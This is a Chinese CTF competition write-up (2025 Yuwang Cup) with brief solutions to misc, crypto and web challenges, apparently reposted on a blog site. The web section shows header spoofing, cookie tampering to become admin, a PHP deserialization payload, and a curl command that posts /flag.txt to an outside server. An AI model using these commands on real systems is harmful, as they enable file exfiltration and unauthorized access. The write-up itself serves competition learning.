2025御网杯wp(web,misc,crypto)

文章目录

misc

xor10

ai一把梭

根据题目中的字符串和提示,虽然提示为"xor10",但经过分析发现正确的密钥应为十进制的57(0x39)。每个字节异或57后,得到以下结果:

步骤解析:

  1. 拆分十六进制字符串:
    原字符串拆分为:5f,55,58,5e,42,71,7a,6d,7f,48,4e,5c,78,6a,7d,08,09,09,44。
  2. 转换为十进制并异或57:
    每个字节异或57后,转换为对应的ASCII字符:
    • 5f → 95 → 95^57=102 → 'f'
    • 55 → 85 → 85^57=108 → 'l'
    • 58 → 88 → 88^57=97 → 'a'
    • 5e → 94 → 94^57=103 → 'g'
    • 42 → 66 → 66^57=123 → '{'
    • 后续字节解密后依次为:H, C, T, F, q, w, e, A, S, D, 1, 0, 0, }

最终flag:
flag{HCTFqweASD100}

图片里的秘密

隐写分离得到zip,爆破出密码9864,进去flag.txt拿到一串字符5a6d78685a337331536d637153474d304a485a454f48684d49584a5466513d3d

转十六进制得到ZmxhZ3s1SmcqSGM0JHZEOHhMIXJTfQ==

显然是base64,解密拿到flag

flag{5Jg*Hc4$vD8xL!rS}

被折叠的显影图纸

随波逐流进来就一把梭。

Crypto

easy_rsa

果然够easy

复制代码
p=473398607161
q=4511491
e=19
phi=(p-1)*(q-1)
d=invmod(e,phi)
print(d+7)

gift

flag{slh}

一看ai就能梭,懒得动脑子了

根据题目中的级数特征和加密要求,答案的推导过程如下:


1. 礼物数学解析

题目中描述的级数 1 - 1/3 + 1/5 - 1/7 + ... 是著名的 莱布尼茨级数 ,其和为 π/4*24


最终答案

  • 礼物名称pie
  • 加密后Flagflag{slh}

草甸方阵的密语

根据{}位置得到栅栏密码解密后结果,再凯撒加密一手

easy-签到题

后缀改成txt即可正常查看

ai解密得到flag

解密过程如下:

  1. 首先对原始字符串进行 Base64 解码,得到一串看似又是 Base32 编码的字符串;
  2. 然后对这段字符串进行 Base32 解码,得到一段十六进制(hex)字符;
  3. 最后对这段十六进制字符串进行 hex 解码,就得到最终的 flag。

最终还原出的 flag 为:

复制代码
复制编辑
flag{2b8471e0-3c9a-6d1f-4a57-980362157e3f}

baby_rsa

grok写个脚本秒了

复制代码
from gmpy2 import invert, isqrt
from Crypto.Util.number import long_to_bytes
import sympy

# Given values
N = 12194420073815392880989031611545296854145241675320130314821394843436947373331080911787176737202940676809674543138807024739454432089096794532016797246441325729856528664071322968428804098069997196490382286126389331179054971927655320978298979794245379000336635795490242027519669217784433367021578247340154647762800402140321022659272383087544476178802025951768015423972182045405466448431557625201012332239774962902750073900383993300146193300485117217319794356652729502100167668439007925004769118070105324664379141623816256895933959211381114172778535296409639317535751005960540737044457986793503218555306862743329296169569
e = 65537
c = 4504811333111877209539001665516391567038109992884271089537302226304395434343112574404626060854962818378560852067621253927330725244984869198505556722509058098660083054715146670767687120587049288861063202617507262871279819211231233198070574538845161629806932541832207041112786336441975087351873537350203469642198999219863581040927505152110051313011073115724502567261524181865883874517555848163026240201856207626237859665607255740790404039098444452158216907752375078054615802613066229766343714317550472079224694798552886759103668349270682843916307652213810947814618810706997339302734827571635179684652559512873381672063

# Step 1: Factorize N to find q and p
# Since q is 1024-bit, estimate q ≈ sqrt(N)
q_approx = isqrt(N)
# Find the next prime after q_approx to get q
q = sympy.prevprime(q_approx + 1)  # Adjust to find the correct q
p = N // q  # Compute p
if p * q != N:
    q = sympy.nextprime(q)  # Try next prime if factorization fails
    p = N // q
assert p * q == N, "Factorization failed"

# Step 2: Compute phi
phi = (p - 1) * (q - 1)

# Step 3: Compute private key d
d = invert(e, phi)

# Step 4: Decrypt ciphertext
m = pow(c, d, N)

# Step 5: Convert to bytes
flag = long_to_bytes(m)
print("Flag:", flag.decode())

web

YWB_Web_xff

加header伪造请求头读取到flag

flag{9u60w1kemajt}

YWB_Web_未授权访问

cookie url解码一手,把guest改成admin,isAdmin改成1再url编码即可

easyweb

测试一下发现弹shell失败,curl命令发送/flag.txt的内容到服务器

cmd=curl -d @/flag.txt http://ip:端口

YWB_Web_命令执行过滤绕过

伪协议读到flag.php,根据里面的路径拿到flag

反序列化

简单反序列化

payload:

复制代码
payload='O:7:"mylogin":2:{s:4:"user";s:XX:"phpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:12:"myzS@11wawq";}";}'
curl -X POST http://47.105.113.86:40004/ -d "msg=${payload}"
相关推荐
2401_8319433213 分钟前
Element Plus对话框(ElDialog)全面指南:打造灵活弹窗交互
前端·vue.js·交互
strongwyy19 分钟前
DA14585墨水屏学习(2)
前端·javascript·学习
好青崧33 分钟前
冒泡排序的原理
前端
椒盐螺丝钉42 分钟前
CSS 基础知识分享:从入门到注意事项
前端·css
冬阳春晖1 小时前
web animation API 锋利的css动画控制器 (更新中)
前端·javascript·css
Python私教2 小时前
使用FastAPI和React以及MongoDB构建全栈Web应用05 FastAPI快速入门
前端·react.js·fastapi
浪裡遊2 小时前
Typescript中的对象类型
开发语言·前端·javascript·vue.js·typescript·ecmascript
杨-羊羊羊2 小时前
什么是深拷贝什么是浅拷贝,两者区别
开发语言·前端·javascript
发呆的薇薇°3 小时前
在vue里,使用dayjs格式化时间并实现日期时间的实时更新
前端·javascript·vue.js
七冬与小糖3 小时前
【本地搭建npm私服】使用Verdaccio
前端·npm·node.js